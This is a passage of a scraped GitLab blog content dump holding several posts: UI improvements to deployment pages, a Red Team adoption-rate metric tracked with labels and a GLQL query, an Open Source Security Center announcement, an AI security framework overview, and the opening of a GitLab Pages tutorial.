Solutions](https://about.gitlab.com/solutions/security-compliance/)  \n* [GitLab Application Security documentation](https://docs.gitlab.com/ee/user/application_security/)  \n* [GitLab Risk Assessment Data epic](https://gitlab.com/groups/gitlab-org/-/epics/11544)",[696,674,943],{"slug":2229,"featured":92,"template":678},"vulnerability-risk-prioritization-made-simple-with-gitlab","content:en-us:blog:vulnerability-risk-prioritization-made-simple-with-gitlab.yml","Vulnerability Risk Prioritization Made Simple With Gitlab","en-us/blog/vulnerability-risk-prioritization-made-simple-with-gitlab.yml","en-us/blog/vulnerability-risk-prioritization-made-simple-with-gitlab",{"_path":2235,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2236,"content":2242,"config":2251,"_id":2253,"_type":16,"title":2254,"_source":17,"_file":2255,"_stem":2256,"_extension":20},"/en-us/blog/beautifying-our-ui-enhancing-gitlabs-deployment-experience",{"title":2237,"description":2238,"ogTitle":2237,"ogDescription":2238,"noIndex":6,"ogImage":2239,"ogUrl":2240,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2240,"schema":2241},"Beautifying our UI: Enhancing GitLab's deployment experience","Go inside our innovative approach to improving our user interface, including pairing product designers and frontend engineers to make usability improvements across the platform.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097783/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%288%29_5KLUrr4DkY2u0JTMA12FVm_1750097783460.png","https://about.gitlab.com/blog/beautifying-our-ui-enhancing-gitlabs-deployment-experience","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Beautifying our UI: Enhancing GitLab's deployment experience\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily Bauman\"}],\n        \"datePublished\": \"2025-03-06\",\n      }",{"title":2237,"description":2238,"authors":2243,"heroImage":2239,"date":2245,"body":2246,"category":695,"tags":2247},[2244],"Emily Bauman","2025-03-06","At GitLab, we’ve implemented an innovative approach to improving our experience called [Beautifying our UI](https://handbook.gitlab.com/handbook/product/ux/product-design/#beautifying-our-ui). This unique initiative pairs one product designer with a frontend engineer for a milestone or two, and empowers them to make self-directed usability improvements across the platform. Ultimately, this helps build a more polished product experience, as these pairs can quickly address pain points, refine interactions, and deliver thoughtful improvements that make the platform more efficient and enjoyable to use.\n\nIn this iteration, [Anna Vovchenko](https://gitlab.com/anna_vovchenko) and I decided to focus on the continuous deployment ([CD](https://about.gitlab.com/topics/ci-cd/#what-is-continuous-deployment)) area of the product. Here is how we did it and what we learned.\n\n## Trying something new\n\nAs this was our second round going through the process, we wanted to make several small adjustments that in the end helped us deliver even more quality improvements to the product. These process improvements included: \n\n* **Extended timeline:** We decided this time around we wanted to extend the initiative to span two milestones. This gave us the time to tackle more complex problems, but also gave us space for additional planning at the start. \n* **Structured planning:** While it was encouraged in the past to work directly in merge requests, we found it helped to use the initial issue as a place to plan and seek out problems ahead of time. Rather than purely focusing on the ad-hoc, we incorporated a planning phase similar to milestone planning, helping the partnership identify and prioritize potential improvements beforehand.\n* **Product manager integration:** As we focused on one area for this round of the project, we also decided to involve the product manager of the team more actively in the process. This ensured alignment on larger changes, reduced surprises when MRs were merged and allowed us to gather valuable feedback throughout the implementation.\n* **Engaging the community:** We expanded our improvement efforts by inviting contributions from community members, accelerating our ability to implement fixes and enhancements across the platform.\n* **Strategic timing:** We chose to run this iteration during a traditionally slower period, allowing teams to focus more deeply on these improvements without competing priorities.\n\nThese refinements maintained the initiative's core strength of direct designer-engineer collaboration, while adding structure that helped our pair work more effectively.\n\n## What were the main improvements?\n\nDuring the two milestones, our pairing implemented several significant improvements that enhance the user experience across the CD space. Here's a look at what we accomplished:\n\n### Enhanced environment list view\n\nOne of the larger changes made during this cycle of \"Beautifying our UI\" was a redesigned Environment List page to make deployment information more accessible. Previously, users had to click through collapsible sections to view crucial deployment details, and viewing important details at a glance was difficult. Now, this information is immediately visible, bringing the most important deployment information to the forefront where users need it.\n\n![Beautifying UI - Environments page before](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097793/Blog/Content%20Images/Blog/Content%20Images/Before_Environments_Page_aHR0cHM6_1750097793301.png)\n\n**Before:** The original design relied on collapsible sections, requiring users to click to reveal deployment information. This meant that users couldn't immediately see the status of their deployments, making it harder to quickly assess the state of their environments.\n\n![Beautifying UI - Environments page after](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097793/Blog/Content%20Images/Blog/Content%20Images/After_Environments_Page_aHR0cHM6_1750097793301.png)\n\n**After:** The new design surfaces critical deployment information directly in the list view, including:\n\n* Deployment status with clear visual indicators\n* Who triggered the deployment along with timestamps\n* Commit information and version tags\n* Actions to take on the environment\n* Latest deployment indicators\n\nThis redesign eliminates the need for extra clicks and gives users immediate visibility into their deployment and environment statuses. The new layout maintains a clean interface while presenting more actionable information upfront.\n\n### Improved deploy keys filtering\n\nAnother larger enhancement was made to our deploy keys interface to improve searchability while maintaining performance. This change addresses a critical user need for quickly finding specific deploy keys in large repositories, which was broken when pagination was introduced earlier last year.\n\n![Beautifying UI - Deploy key before](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097793/Blog/Content%20Images/Blog/Content%20Images/Deploy_Key_Before_aHR0cHM6_1750097793303.png)\n\n**Before:** The previous interface displayed deploy keys in a paginated list without a dedicated search function. While pagination helped with performance when handling thousands of keys, users had lost the ability to quickly search through their deploy keys using the browser search functionality, forcing them to manually scan through multiple pages.\n\n![Beautifying UI - Deploy key after](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097793/Blog/Content%20Images/Blog/Content%20Images/Deploy_Key_After_aHR0cHM6_1750097793306.png)\n\n**After:** The new design introduces a dedicated search field at the top of the deploy keys list, allowing users to:\n\n* Quickly filter deploy keys by name or SHA\n* Maintain the performance benefits of pagination\n* Find specific keys without browsing through multiple pages\n\nThis improvement strikes the right balance between performance and usability, especially beneficial for teams managing numerous deploy keys across multiple projects.\n\n### Better Kubernetes agent management\n\nWe made significant improvements to the Kubernetes agent experience by simplifying the registration process and providing better visibility into agent status. These enhancements work together to create a smoother onboarding experience for teams getting started.\n\nOur first area of focus was streamlining how users register agents when they have configuration files ready to use. Previously, this process had several pain points that we wanted to address.\n\n![Beautifying UI - Agent before](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097793/Blog/Content%20Images/Blog/Content%20Images/Agent_Before_aHR0cHM6_1750097793309.png)\n\n**Before:**\n\n* Only showed connected and previously connected agents\n* Connection status was limited to \"Never connected\" or \"Not connected\"\n* No clear path to register new agents\n\n![Beautifying UI - Agent after](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097793/Blog/Content%20Images/Blog/Content%20Images/Agent_After_aHR0cHM6_1750097793310.png)\n\n**After:**\n\n* Added a new Available configurations tab showing all potential agent configurations\n* Clear \"Register an agent\" call-to-action button for each available configuration\n\nNext, we turned our attention to making the agent registration modal more intuitive. The previous design created some confusion that we wanted to resolve.\n\n![Beautifying UI - Registration before](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097793/Blog/Content%20Images/Blog/Content%20Images/Registration_Before_aHR0cHM6_1750097793311.png)\n\n**Before:**\n\n* Users faced a confusing dual-purpose search box that both found existing agents and created new ones\n* The workflow had too many decision points instead of a clear path forward\n* The process for creating vs. selecting an agent wasn't clearly separated\n\n![Beautifying UI - Registration after](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097793/Blog/Content%20Images/Blog/Content%20Images/Registration_After_aHR0cHM6_1750097793312.png)\n\n**After:**\n\n* Separated the interface into two clear options: bootstrap with Flux or create an agent through the UI\n* Streamlined the workflow into a more linear process\n* Made the distinction between creating new agents and selecting existing ones more obvious\n* Added a success message that clearly shows where to create the optional config file\n\nThese improvements make it immediately clear which agents need attention and provide a straightforward path to register new agents. The reorganized interface better supports both new users setting up their first agent and experienced users managing multiple agents.\n\n## Additional usability enhancements\n\nWhile working on major interface improvements, we also addressed several focused usability issues that significantly improve the day-to-day experience:\n\n* **Enhanced Kubernetes pod search:** Added search functionality for Kubernetes pods on the environment page, making it easier to locate specific pods in large deployments. This was showcased in the [GitLab 17.8 release post](https://about.gitlab.com/releases/2025/01/16/gitlab-17-8-released/#search-for-pods-on-the-dashboard-for-kubernetes).\n* **Improved Flux status visibility:** Added a \"stopped\" badge to the dashboard view when Flux sync is stopped, providing immediate visibility into sync status. This was also showcased in the [GitLab 17.8 release post](https://about.gitlab.com/releases/2025/01/16/gitlab-17-8-released/#view-paused-flux-reconciliations-on-the-dashboard-for-kubernetes). \n* **Better release information:** Implemented a clear view of deployments related to a release, improving deployment tracking and visibility.\n* **Streamlined environment search:** Fixed an issue where users couldn't effectively search the Environments page, improving navigation in large environment lists.\n* **Enhanced error message display:** Resolved issues with viewing Flux details when long error messages were present, making troubleshooting more straightforward.\n\n## Looking forward\n\nThe success of these improvements demonstrates the value of empowering our teams to make direct, meaningful changes to our experience. Beyond the product enhancements, one of the most valuable outcomes has been the strengthened relationship between our Frontend and Design teams. Working together closely on these improvements has fostered better understanding of each other's perspectives, workflows, and constraints, leading to more effective collaboration.\n\nThis deepened partnership has created a foundation for even better collaboration in our regular workflow, as team members now have stronger working relationships and shared understanding of each other's domains. We're excited to continue this initiative in future iterations, not just for the product improvements it generates, but also for its role in building stronger, more cohesive teams.\n\n> [Follow along with the \"Beautifying our UI\" project](https://handbook.gitlab.com/handbook/product/ux/product-design/#beautifying-our-ui) as we continue to make improvements to GitLab.\n\n## Read more\n\n- [How we overhauled GitLab navigation](https://about.gitlab.com/blog/navigation-research-blog-post/)\n- [GitLab dark mode is getting a new look](https://about.gitlab.com/blog/gitlab-dark-mode-is-getting-a-new-look/)\n- [Beautifying our UI: Giving GitLab build features a fresh look](https://about.gitlab.com/blog/beautifying-of-our-ui/)",[2248,2249,2250,695,479],"design","UX","UI",{"slug":2252,"featured":6,"template":678},"beautifying-our-ui-enhancing-gitlabs-deployment-experience","content:en-us:blog:beautifying-our-ui-enhancing-gitlabs-deployment-experience.yml","Beautifying Our Ui Enhancing Gitlabs Deployment Experience","en-us/blog/beautifying-our-ui-enhancing-gitlabs-deployment-experience.yml","en-us/blog/beautifying-our-ui-enhancing-gitlabs-deployment-experience",{"_path":2258,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2259,"content":2264,"config":2270,"_id":2272,"_type":16,"title":2273,"_source":17,"_file":2274,"_stem":2275,"_extension":20},"/en-us/blog/how-gitlab-measures-red-team-impact-the-adoption-rate-metric",{"title":2260,"description":2261,"ogTitle":2260,"ogDescription":2261,"noIndex":6,"ogImage":2007,"ogUrl":2262,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2262,"schema":2263},"How GitLab measures Red Team impact: The adoption rate metric","Follow our journey to develop and implement better metrics, including how we used GitLab to track our results end-to-end. Also find out the lessons learned along the way.","https://about.gitlab.com/blog/how-gitlab-measures-red-team-impact-the-adoption-rate-metric","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab measures Red Team impact: The adoption rate metric\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chris Moberly\"}],\n        \"datePublished\": \"2025-03-05\",\n      }",{"title":2260,"description":2261,"authors":2265,"heroImage":2007,"date":2267,"body":2268,"category":674,"tags":2269},[2266],"Chris Moberly","2025-03-05","In early 2024, we started a journey to implement better metrics for [our internal Red Team](https://handbook.gitlab.com/handbook/security/security-operations/red-team/). Our first iteration focused on what we now call the adoption rate metric, which measures how often the recommendations our team makes are accepted and implemented.\n\nChoosing this metric was very deliberate. While there are many ways to measure a Red Team's impact, we wanted to start with something fundamental: Are we actually driving meaningful security improvements? The adoption rate directly ties our work to real security outcomes, and we could measure it using tools and processes we already had in place.\n\nIn this article, you'll discover how we used GitLab to track these results end-to-end, some lessons we learned (including what we would have done differently), and our plans to tackle the next set of metrics.\n\n## How we implemented the adoption rate metric\n\nWe use GitLab extensively for our Red Team planning, execution, and reporting. Every operation wraps up with a report that's written in markdown in a dedicated GitLab project. Each report contains a section called \"Recommendations\" with a list of suggestions to make GitLab more secure.\n\nThose recommendations are always linked to a dedicated issue, which we open in the project closest to the team who can address it. If we're suggesting a product feature, it goes directly in that tracker. If it's a detection capability, it goes into the detections as code repository. We always assign a directly responsible individual (DRI) in the group that owns that space, and we use [this issue template](https://gitlab.com/gitlab-com/gl-security/security-operations/redteam/redteam-public/resources/red-team-issue-templates/-/blob/main/.gitlab/issue_templates/recommendation.md?ref_type=heads) to ensure consistency in describing the problem, the risk, and potential solutions.\n\n![Red team - recommendation-example](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674984/Blog/Content%20Images/recommendation-example__1_.png)\n\nHere's where the tracking logistics come in. We use GitLab labels to classify the recommendation across three categories:\n\n- Detections and alerts (`RTRec::Detection`)  \n- Security controls (`RTRec::Control`)  \n- Processes and procedures (`RTRec::Process`)\n\nWe then use another set of labels to follow the lifecycle of that recommendation – from review all the way through adoption:\n\n- Under review (`RecOutcome::UnderReview`)  \n- Accepted and actively being worked on (`RecOutcome::InProgress`)  \n- Accepted but backlogged (`RecOutcome::Backlogged`)  \n- Accepted but blocked (`RecOutcome::Blocked`)  \n- Fully adopted and closed (`RecOutcome::Adopted`)  \n- Partially adopted and closed (`RecOutcome::PartiallyAdopted`)  \n- Not adopted and closed (`RecOutcome::NotAdopted`)\n\n## How we stay on top of recommendations\n\nWe use a new GitLab feature called [\"GitLab Query Language\" (GLQL)](https://docs.gitlab.com/ee/user/glql/) to build a dynamic Security Recommendations Dashboard inside a GitLab issue.\n\nThis issue allows us to quickly identify things like:\n\n- open recommendations that haven't been updated recently  \n- open recommendations that have been backlogged for an extended period of time  \n- closed recommendations that weren't properly labeled with an adoption outcome\n\nWe've found this process encourages the Red Team to follow up on stale recommendations, reaching out to the owners and seeing how we can help get them adopted.\n\nGLQL is very cool, and allows us to turn a short code block like this:\n\n```yaml  \n---  \ndisplay: table  \nfields: title, labels(\"RTRec::*\"), labels(\"RecOutcome::*\"), created, updated  \n---  \ngroup = \"gitlab-com\"  \nAND label = \"RTRec::*\"  \nAND opened = true  \n```\n\n... into a dynamic table like this:\n\n![Red Team - GLQL table](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674984/Blog/Content%20Images/glql-table.png)\n\nThat table for us is very tactical and we use it to keep things moving. Beyond that, we also visualize the adoption rate trends over time. That allows us to look at things like quarterly adoption rate percentages, how long different types of recommendations take to adopt and implement, and how these figures vary across departments.\n\n## Lessons learned\n\n**1. Start with metrics in place; don't wait for your program to mature first.**\n\nEarly in our Red Team's development, we focused more on how we would execute operations and less on how we would measure them. The idea of using metrics to distill complex operations into simple numbers felt like it might oversimplify our work. But we've learned that thoughtful metrics don't reduce the value of Red Team operations - they help demonstrate our impact and guide our program's growth. Starting with clear metrics earlier would have accelerated this growth.\n\nImplementing these metrics later meant spending significant time reformatting years of historical recommendations to enable consistent analysis. Had we planned for metrics from the start, we could have saved ourselves a lot of time and effort.\n\nWe’re keeping this lesson in mind as we start on our next set of metrics, threat resilience, which we talk about below.\n\n**2. Don't operate in a silo.**\n\nRed Teams aren't the only groups that provide recommendations in a security organization. At GitLab, we have our bug bounty program, our external pentests, product security, security assurance, and security operations.\n\nOn the Red Team, we developed our own recommendations process from scratch. It's been fairly effective, but we have noticed some areas for improvement, particularly around prioritization, project management, and alignment with our organization's risk reporting process.\n\nWe also noticed that some other teams are really good at these areas such as our bug bounty program and the triaging of findings from our external pentests. Those particular groups are very good at delivering product recommendations, and we've been learning from their approach to improve our own delivery methods.\n\nSo we've taken our success with visualizing metrics and are integrating these lessons to create a more standard format that can be used across teams. This will allow us to leverage things that are working well, like our adoption rate metric, and combine them with the more efficiently managed processes used by other groups to ultimately achieve a higher adoption rate and a more secure GitLab.\n\n## Next up: Measuring our threat resilience\n\nNext up for us is implementing metrics around threat resilience. We want to measure how well GitLab can prevent, detect, and respond to the threats most relevant to our organization. We're building a dashboard that will help visualize this data, showing our top threat actors and a series of scores that measure how well we defend against their specific techniques.\n\nOur goal is to have this dashboard drive decisions around what Red Team operations to conduct, what defensive capabilities to improve, and in general where we should be investing time and effort across our entire security division.\n\nWe hope to consolidate our existing tools in this process and are currently evaluating solutions. We'll share more info when we've achieved some success here.\n\n## Key takeaways and how to get started\n\nIf you're looking to measure your Red Team's impact, here's what we've learned:\n\n1. Start tracking metrics early, even if they're not perfect.  \n2. Focus on actionable metrics first (like adoption rate).  \n3. Use your existing tools. We used GitLab and Tableau, but the approach works with any tracking system.  \n4. Collaborate across security teams to leverage existing processes when possible.\n\nWe'd love to hear about your experience with metrics in security so drop a comment below or open an issue in one of our [public projects](https://gitlab.com/gitlab-com/gl-security/security-operations/redteam/redteam-public).\n\n## Read more from GitLab's Red Team  \n- [Stealth operations: The evolution of GitLab's Red Team](https://about.gitlab.com/blog/stealth-operations-the-evolution-of-gitlabs-red-team/)  \n- [How GitLab's Red Team automates C2 testing](https://about.gitlab.com/blog/how-gitlabs-red-team-automates-c2-testing/)  \n- [How we run Red Team operations remotely](https://about.gitlab.com/blog/how-we-run-red-team-operations-remotely/)",[674,943,676],{"slug":2271,"featured":6,"template":678},"how-gitlab-measures-red-team-impact-the-adoption-rate-metric","content:en-us:blog:how-gitlab-measures-red-team-impact-the-adoption-rate-metric.yml","How Gitlab Measures Red Team Impact The Adoption Rate Metric","en-us/blog/how-gitlab-measures-red-team-impact-the-adoption-rate-metric.yml","en-us/blog/how-gitlab-measures-red-team-impact-the-adoption-rate-metric",{"_path":2277,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2278,"content":2284,"config":2289,"_id":2291,"_type":16,"title":2292,"_source":17,"_file":2293,"_stem":2294,"_extension":20},"/en-us/blog/introducing-gitlabs-open-source-security-center",{"title":2279,"description":2280,"ogTitle":2279,"ogDescription":2280,"noIndex":6,"ogImage":2281,"ogUrl":2282,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2282,"schema":2283},"Introducing GitLab’s Open Source Security Center","Our open source repository of projects designed to enhance security operations and risk management will help developers adapt faster, respond smarter, and defend better — together.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749661895/Blog/Hero%20Images/blog-image-template-1800x945__7_.png","https://about.gitlab.com/blog/introducing-gitlabs-open-source-security-center","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing GitLab’s Open Source Security Center\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Salman Ladha\"},{\"@type\":\"Person\",\"name\":\"Joseph Longo\"}],\n        \"datePublished\": \"2025-03-04\",\n      }",{"title":2279,"description":2280,"authors":2285,"heroImage":2281,"date":2286,"body":2287,"category":674,"tags":2288},[750,1224],"2025-03-04","Today, we’re excited to announce the launch of [GitLab’s Open Source Security Center](https://about.gitlab.com/security/open-source-resources/) — a central repository of security-focused projects developed by GitLab’s internal security team. These tools are designed to help developers, security practitioners, and organizations build safer, more secure software, and more resilient security programs.\n\nSecuring systems is an ongoing challenge for businesses as threat actors continually adapt to new technologies and find creative ways to exploit organizations. Not only are they evolving their tactics, techniques and procedures, but they’re also [collaborating through criminal networks](https://insights.blackhatmea.com/do-cybercriminals-collaborate-and-build-community/), sharing strategies, stolen data, and malicious tools to launch coordinated attacks at scale. \n\nAs these threats grow in complexity, community-driven collaboration is one of our most powerful defenses. It’s a notion we’ve long understood in security — that *defending against adversaries is a shared responsibility*. By working together as a community, we can accelerate our collective intelligence and stay ahead of adversaries.\n\nIn open-sourcing our security solutions, we aim to empower teams to adapt faster, respond smarter, and defend better — together.\n\n[![Open Source Security Center page image](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674572/Blog/Content%20Images/Screenshot_2025-03-04_at_08.10.05.png)](https://about.gitlab.com/security/open-source-resources/)\n\n## Why open source security? \n\nAt GitLab, open source isn’t just part of our technology — it’s part of our [founding story](https://about.gitlab.com/company/).\n\nSince day one, we’ve championed the open source philosophy, believing that transparency, collaboration, and community-driven development are keys to building better software. Over the years, GitLab has fostered an open source community with more than [4,000 contributors](https://about.gitlab.com/community/contribute/) and has provided a comprehensive DevSecOps platform through its open source [Community Edition](https://about.gitlab.com/install/ce-or-ee/).\n\nWe’ve also been inspired by industry leaders like [Crowdstrike](https://opensource.crowdstrike.com/) and [Palo Alto Networks](https://www.paloaltonetworks.ca/prisma/cloud/open-source-projects), who have shown that open-sourcing security tools not only improves innovation but also strengthens the entire security ecosystem. Following in their footsteps, GitLab is committed to supporting the community by sharing tools, templates, and frameworks developed by our security teams.\n\n## Explore our featured open source security projects\n\nWe’re launching the Open Source Security Center with a range of projects designed to enhance security operations and risk management. Here are some of the featured projects:\n\n* **[StORM templates](https://gitlab.com/gitlab-security-oss/risk-mgmt/storm-templates/):** Streamline your security risk program with templates that standardize risk tracking and reporting.\n\n* **[GUARD Framework](https://about.gitlab.com/blog/unveiling-the-guard-framework-to-automate-security-detections-at-gitlab/):** Automate response and detection with a detections-as-code approach that simplifies detection creation, maintenance, and alert routing.  \n\n* **[GitLab CIS Benchmark Scanner](https://about.gitlab.com/blog/new-cis-gitlab-benchmark-scanner-boosts-security-and-compliance/):** Improve your project’s security posture by auditing against the Center for Internet Security GitLab Benchmark.\n\nWhether you’re a security engineer, researcher, or developer, your expertise and contributions are invaluable. Join us in strengthening the security ecosystem and collaborating with a community dedicated to making software safer for everyone.\n\n> [Explore GitLab’s Open Source Security Center](https://about.gitlab.com/security/open-source-resources/) and contribute to the next chapter of open source security. \n\n## Learn more\n\n- [New CIS GitLab Benchmark scanner boosts security and compliance](https://about.gitlab.com/blog/new-cis-gitlab-benchmark-scanner-boosts-security-and-compliance/)\n- [GitLab introduces new CIS Benchmark for improved security](https://about.gitlab.com/blog/gitlab-introduces-new-cis-benchmark-for-improved-security/)\n- [Unveiling the GUARD framework to automate security detections at GitLab](https://about.gitlab.com/blog/unveiling-the-guard-framework-to-automate-security-detections-at-gitlab/)\n- [Automating cybersecurity threat detections with GitLab CI/CD](https://about.gitlab.com/blog/automating-cybersecurity-threat-detections-with-gitlab-ci-cd/)",[674,736,815,943,754],{"slug":2290,"featured":92,"template":678},"introducing-gitlabs-open-source-security-center","content:en-us:blog:introducing-gitlabs-open-source-security-center.yml","Introducing Gitlabs Open Source Security Center","en-us/blog/introducing-gitlabs-open-source-security-center.yml","en-us/blog/introducing-gitlabs-open-source-security-center",{"_path":2296,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2297,"content":2303,"config":2309,"_id":2311,"_type":16,"title":2312,"_source":17,"_file":2313,"_stem":2314,"_extension":20},"/en-us/blog/the-gitlab-ai-security-framework-for-security-leaders",{"title":2298,"description":2299,"ogTitle":2298,"ogDescription":2299,"noIndex":6,"ogImage":2300,"ogUrl":2301,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2301,"schema":2302},"The GitLab AI Security Framework for security leaders","Discover how GitLab Duo's security controls, third-party integrations, and retention policies help teams safely implement AI into their development workflow.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664299/Blog/Hero%20Images/AdobeStock_887599633.jpg","https://about.gitlab.com/blog/the-gitlab-ai-security-framework-for-security-leaders","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The GitLab AI Security Framework for security leaders\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kyle Smith\"},{\"@type\":\"Person\",\"name\":\"Ayoub Fandi\"}],\n        \"datePublished\": \"2025-03-04\",\n      }",{"title":2298,"description":2299,"authors":2304,"heroImage":2300,"date":2286,"body":2307,"category":791,"tags":2308},[2305,2306],"Kyle Smith","Ayoub Fandi","As companies rapidly adopt AI technologies, CISOs face a new frontier of security challenges. Many security leaders find themselves grappling with unfamiliar questions: How do we evaluate AI vendors differently from traditional software vendors? What security controls matter most? Where does vendor responsibility end and customer responsibility begin? How do we evaluate AI security risks within the context of the service provided? To help answer these questions, we’ve created the [GitLab AI Security Framework](https://trust.gitlab.com/?itemUid=ad3d92c1-889e-49fc-b19c-2434f70071ee&source=click) to show security leaders how GitLab and customers enable secure AI-powered development using GitLab Duo.\n\n## The genesis of AI security challenges\n\nFrom conversations with security leaders across industries a pattern has emerged: Organizations are rapidly embracing AI technologies to improve delivery while their security teams struggle to establish appropriate security controls. \n\nThis disconnect isn't just a matter of resources or expertise – it represents a fundamental shift in how organizations need to approach security in the AI era. Security leaders are witnessing quick and unprecedented adoption of AI across their organizations, from development teams using coding assistants to marketing departments leveraging generative AI. \n\nWhile organizations are integrating AI within their own software, many of their current vendor-provided SaaS applications have added AI capabilities as well. Although this adoption drives innovation and efficiency, it also creates a complex set of security considerations that traditional frameworks weren't designed to address. Below are some of the specific challenges we’ve identified.\n\n## Security challenges in the AI era\n\n**1. Responsibility and control uncertainty**\n\nThe rapid pace of AI adoption has left many organizations without a coherent security governance strategy. Security teams find themselves trying to retrofit existing security frameworks to address AI-specific concerns. Security leaders face challenges in understanding where their responsibilities begin and end when it comes to AI security. The traditional vendor-customer relationship becomes more complex with AI systems, as data flows, model training, and inference processes create new types of interactions and dependencies. \n\n**2. Risk assessment evolution**\n\nTraditional security risk models struggle to capture the unique characteristics of AI systems. Security leaders are finding that standard risk assessment frameworks don't adequately address AI-specific risks. AI security risks will differ based on AI implementation and the context in which it’s used. The challenge is compounded by the need to evaluate AI vendors without necessarily having deep technical AI expertise on the security team.\n\n**3. Data protection complexities**  \nAI systems present unique challenges for data protection. The way these systems process, learn from, and generate data creates new privacy and security considerations that organizations should carefully evaluate. CISOs must ensure their data governance frameworks evolve to address how AI systems use and protect sensitive information. AI implementations with inadequate safeguards might inadvertently reveal protected information via AI generated outputs.\n\n**4. Compliance and standards navigation**  \nThe regulatory landscape for AI security is rapidly evolving, with new standards like ISO 42001 and others emerging alongside existing frameworks. Security leaders must navigate this complex environment while ensuring their AI implementations remain compliant with both current and anticipated regulations. This requires a delicate balance between enabling AI adoption and maintaining robust security controls that satisfy regulatory requirements.\n\n## Addressing these challenges  \nWith the release of [GitLab Duo](https://about.gitlab.com/gitlab-duo/), we recognized these executive-level concerns and developed a comprehensive framework to help organizations navigate AI security in the context of our AI-powered DevSecOps platform. Our AI Security Framework provides details on our privacy-first implementation of AI to enable GitLab Duo, and how we validate the security of our AI vendors. A responsibility matrix is included to help security leaders manage their AI security responsibilities while enabling their organizations to innovate safely. We also compiled a selection of AI-specific security risks to keep in mind and highlighted how GitLab capabilities like [prompt guardrails](https://about.gitlab.com/blog/how-gitlab-uses-prompt-guardrails-to-help-protect-customers/) can help in mitigating them. \n\n> Want a deeper look at our security controls? Check out our [AI Security Framework](https://trust.gitlab.com/?itemUid=ad3d92c1-889e-49fc-b19c-2434f70071ee&source=click).\n\n## Learn more\n- [GitLab AI Transparency Center](https://about.gitlab.com/ai-transparency-center/)\n- [How GitLab uses prompt guardrails to help protect customers](https://about.gitlab.com/blog/how-gitlab-uses-prompt-guardrails-to-help-protect-customers/)\n- [Improve AI security in GitLab with composite identities](https://about.gitlab.com/blog/improve-ai-security-in-gitlab-with-composite-identities/)\n- [Secure, compliant, and AI-powered: Get to know 3 new GitLab features](https://about.gitlab.com/blog/secure-compliant-and-ai-powered-get-to-know-3-new-gitlab-features/)\n- [ICYMI: Key AI and security insights from our developer community](https://about.gitlab.com/blog/icymi-key-ai-and-security-insights-from-our-developer-community/)",[790,754,479,674],{"slug":2310,"featured":92,"template":678},"the-gitlab-ai-security-framework-for-security-leaders","content:en-us:blog:the-gitlab-ai-security-framework-for-security-leaders.yml","The Gitlab Ai Security Framework For Security Leaders","en-us/blog/the-gitlab-ai-security-framework-for-security-leaders.yml","en-us/blog/the-gitlab-ai-security-framework-for-security-leaders",{"_path":2316,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2317,"content":2323,"config":2329,"_id":2331,"_type":16,"title":2332,"_source":17,"_file":2333,"_stem":2334,"_extension":20},"/en-us/blog/build-a-new-website-in-a-few-easy-steps-with-gitlab-pages",{"title":2318,"description":2319,"ogTitle":2318,"ogDescription":2319,"noIndex":6,"ogImage":2320,"ogUrl":2321,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2321,"schema":2322},"Build a new website in a few easy steps with GitLab Pages ","This tutorial shows you how to create and host your personal website using GitLab Pages with a ready-to-use template that you can customize in minutes.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097716/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%281%29_7c3TDgNgct9xQbmTJSw0de_1750097716096.png","https://about.gitlab.com/blog/build-a-new-website-in-a-few-easy-steps-with-gitlab-pages","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Build a new website in a few easy steps with GitLab Pages \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Alex Fracazo\"}],\n        \"datePublished\": \"2025-03-03\",\n      }",{"title":2318,"description":2319,"authors":2324,"heroImage":2320,"date":2326,"body":2327,"category":695,"tags":2328},[2325],"Alex Fracazo","2025-03-03","A personal website is more than just a utility for digital creators and professionals in tech. It's a representation of your brand. But creating one from scratch can be time-consuming and expensive.\n\nWith [GitLab Pages](https://docs.gitlab.com/user/project/pages/), you can host your website with built-in features, including SSL certificates and a GitLab-provided domain. All of this is available on GitLab's free tier, making it an efficient solution for hosting your professional presence.\n\nWe're going to take you on a fun journey to craft a stunning personal website using GitLab Pages! We’ve got a super simple, versatile template that you can easily jazz up to reflect your unique style. So grab your favorite snack, get comfy, and let’s turn your online presence into something truly fabulous!\n\n## Prerequisites\n\nYou will need the following prerequisites before getting started:\n\n* A GitLab account (the [free tier](https://about.gitlab.com/pricing/) is sufficient)  \n* Basic familiarity with HTML/CSS  \n* Content and images you want to add to your website (optional)\n\nOnce you’re set up with a GitLab account and have 